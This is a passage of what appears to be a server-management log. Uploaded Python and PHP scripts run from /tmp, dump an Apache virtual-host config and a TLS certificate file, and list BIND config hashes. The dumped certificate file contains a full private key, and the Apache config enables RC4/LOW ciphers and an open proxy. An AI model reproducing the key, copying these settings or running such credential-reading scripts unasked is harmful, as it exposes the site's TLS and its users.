    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-08-26 15:50:00: 

chmod 755 /tmp/pkp458716; /tmp/pkp458716; rm /tmp/pkp458716

2025-08-26 15:50:00: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_eggshell_us.conf	1750
<VirtualHost *:80>
    ServerName	eggshell.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_eggshell/public
    <Directory /var/www/pjy_eggshell>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/eggshell_access.log combined
    ErrorLog	/var/log/apache2/pjy/eggshell_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    DirectoryIndex	index.html index.htm index.php
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	eggshell.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/39c767a455deedd4b817573f2aec9ddf.crt
    DocumentRoot	/var/www/pjy_eggshell/public
    <Directory /var/www/pjy_eggshell>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/eggshell_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/eggshell_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php
    ProxyRequests	On
    RewriteEngine	On
    <Location /ws/>
        ProxyPass	ws://localhost:9514/
        ProxyPassReverse	ws://localhost:9514/
    </Location>
    
    <Location /wsx/>
        ProxyPass	http://localhost:9514/
        ProxyPassReverse	http://localhost:9514/
    </Location>
    
</VirtualHost>







2025-08-26 15:50:00: 

PUT: /tmp/pkp726236

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/39c767a455deedd4b817573f2aec9ddf.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-08-26 15:50:00: 

chmod 755 /tmp/pkp726236; /tmp/pkp726236; rm /tmp/pkp726236

2025-08-26 15:50:00: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/39c767a455deedd4b817573f2aec9ddf.crt	5293
-----BEGIN CERTIFICATE-----
MIIE+TCCA+GgAwIBAgISBTAxN/ypJc1zlWT2MwFFUgcrMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwODIyMTAzMzI5WhcNMjUxMTIwMTAzMzI4WjAaMRgwFgYDVQQD
Ew9lZ2dzaGVsbC5wankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCv+1vZXU4/0EqDlKFBxIfOgPOr5ran2CS2AYkoMyTbd99NDxhPZyRzokQa7flM
EBX+BKTAay1csxvMxo4lcUdtIPORMkxZ0C6Rsj1JOF0gw2qZ+zf7mAXCWxyxOwVo
cVPkuIRya2BrLPSPuwBMmLLAWhXTBQLYyCLCJB8suJhXBHCALR7CdYQfSr4yRouq
hv+Xd8Um5KgBL2DVrGdt4wlGm1/2AiuJ1uBNa1vununSkyiYcDKHnJU70lvgDYt/
yX6UR9PU9LmJBu9ITJSMA8RIDjEOuqF5fvGaeuNlB67t9iQrxlMelMJts0JVvOsk
ad40xuRduCbXFlboPTedZg71AgMBAAGjggIeMIICGjAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFGaEjn62LSOd4gRueu2Qn7iVwRdlMB8GA1UdIwQYMBaAFOernw8sM6BT
015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMy5pLmxlbmNyLm9yZy8wGgYDVR0RBBMwEYIPZWdnc2hlbGwucGp5LnVzMBMG
A1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMu
Yy5sZW5jci5vcmcvNDQuY3JsMIIBAwYKKwYBBAHWeQIEAgSB9ASB8QDvAHYA7TxL
1ugGwqSiAFfbyyTiOAHfUS/txIbFcA8g3bc+P+AAAAGY0YzASAAABAMARzBFAiEA
4Qcy8lE8HLOdYaluPBi3DmiSCtc3/3CIp79dQPEezeQCICJcqF8GjGliNqKAAbio
g4WjkQ3MP9CBkOmZJb3gG766AHUArxgaKNaMo+CpikycZ6sJ+Lu8IrquvLE4o6Gd
0/m2Aw0AAAGY0YzI8wAABAMARjBEAiAK29KAB4y8lBJyXSmh8RXzTTKqnAj7FrQY
rLMzhPnZ2QIge5PgBKFOUR+oJb7HjczA7uoqM3h0FMlQ5W51L5K0oz0wDQYJKoZI
hvcNAQELBQADggEBABls+a+Y62Ttzh4E7HC2gpFsUiC0ItNHJOCVUMsZPQTZ0Kgf
pzm0xn06qHJxT203OsL5G8zdZJ/5+K/W+AvdlUQ9PfGQZQl6T/syPYrRyGTCxhVJ
yDyqQIPWFgJsBWHI+n/Q1B9ZVLXLMy6VMfMr9vUuN27qv2+4G/+6K4S4DOkd5/wS
uO6xtZ3TlgeGgvOtZziGM/hhaI8X4uepzrXA1lpRsz4519BhUaSXDPr4MLI4ur65
qG6LMmjtr+6b1GXhWU0VGqlHR9l+t4Fs8yHaknREMBO0IYbtn9RVeVJ1XlU90Q4z
Mv/F47ZnxmBjLo6wa9aorFfViwD4YXDlzYto0Hg=
-----END CERTIFICATE-----

-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCv+1vZXU4/0EqD
lKFBxIfOgPOr5ran2CS2AYkoMyTbd99NDxhPZyRzokQa7flMEBX+BKTAay1csxvM
xo4lcUdtIPORMkxZ0C6Rsj1JOF0gw2qZ+zf7mAXCWxyxOwVocVPkuIRya2BrLPSP
uwBMmLLAWhXTBQLYyCLCJB8suJhXBHCALR7CdYQfSr4yRouqhv+Xd8Um5KgBL2DV
rGdt4wlGm1/2AiuJ1uBNa1vununSkyiYcDKHnJU70lvgDYt/yX6UR9PU9LmJBu9I
TJSMA8RIDjEOuqF5fvGaeuNlB67t9iQrxlMelMJts0JVvOskad40xuRduCbXFlbo
PTedZg71AgMBAAECggEAUH9wAju2AWarzwh7wvO9E27VB3rfbmNmV4LYVHUglOt+
T2dqPVf2ypYdBRx5/psVFD7XhdUAyPh87OyeNO5eN8Ls5yvU1PhvdOHNOuL3Znc9
GfZaI1HkwISg2UkgLig4sdTdcOFBF4VW0TA+8MqgaXBLr10JclQJ4jhXskM2HAb/
A+m2f+ZFgoZYd/o9TbTuGjGI4/3vIEawQOsTLUmnfryubbn1cAccMJpgMHsj5HCp
3+ZCtQS3lTAv2ssbME19oEfFe5aPzp/u+F/TmCCt6JuIqCMa7iHsN9rkVlX0Ook5
uQuGJoZ9ziLpbI5Eyt+1NFaTkDPNHVPdmed5KmZogQKBgQDmQKGzzH0GUKplZeaH
gjaF2dGmoaB5iWVUEEBzVRiStw5uMlL9lgNE68Vise0MSOHbYn1NkeRoCBC00RQF
0BMQoAbKnh1d0mRYuU3hLF+A36pKf9slfJDUd33BZAqpEouzCaneDwiH7MPIRyf7
VkvB+m3fafXyg9K+I61uMzNr0QKBgQDDqSOXAuj9ExBcXXlMsXmwc/SOACCCt8Ce
HlMaO0ijM9EUlduGM2QCeVC1HjJzkKf5Qv8D8plPMMlhaxMXBK0AnXZ2M7cijmpz
yF/L0HbmkkXu08XBAvOpW9YAtL6POIlEhSSK55O01ieNMLEJnn8ekT+fmPz2cA0b
L73SuV0N5QKBgELfXpdzupQM9ZBBijStEtzJKGS26H6j8vP5TF6yxlJGLEDBCO1x
lj18JHXHq0s4F7C56B6RUr8MKJ37Y09U4VSgxZgvV+QZ6N8D4qSVWJ97VmAQxjsa
9I1grvtt7NKx+jTjh5xgzV982lfeorQSmioaa7LJeY8Xzis+/W3WHQchAoGAWwfn
WgvtkEj9VKvckpUDs9fPEP34IjkRsb8UFOE+I0gpX3V1ZBOm1QvSQ+HfwSqtK+hC
s3h8YX6mQt/JSu1O/DlGcyoOa1JtLp8sCqxblVy6kqoOmIUiDkp+32c4PXQlUS7M
2J9zdjAoyKS9yWbnZ7ZWLo/EKXfqcRqeK1s4cw0CgYAUQjZU1WmKR7pOzQZqF8wh
yaImT+g4yvH0t1biIk3J6ECI5AE9tiIexLzMy14/LudpGweeV04EctckR7WZv69u
XPY7gx9GZWrKp4awiB/6KYmtspMFa0e4vFKGZkt63mA9vtC/8pjfCF26WmyevkTA
176fLF2F4Xa5cSou246Pxg==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----





2025-08-26 15:50:00: Establishing a connection
2025-08-26 15:50:00: 

PUT: /tmp/pkp183200

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-08-26 15:50:00: 

runuser -l bind -s /bin/bash -c '/tmp/pkp183200; rm /tmp/pkp183200'

2025-08-26 15:50:00: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= ead22db0f92a33841cc438de003f20f0
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
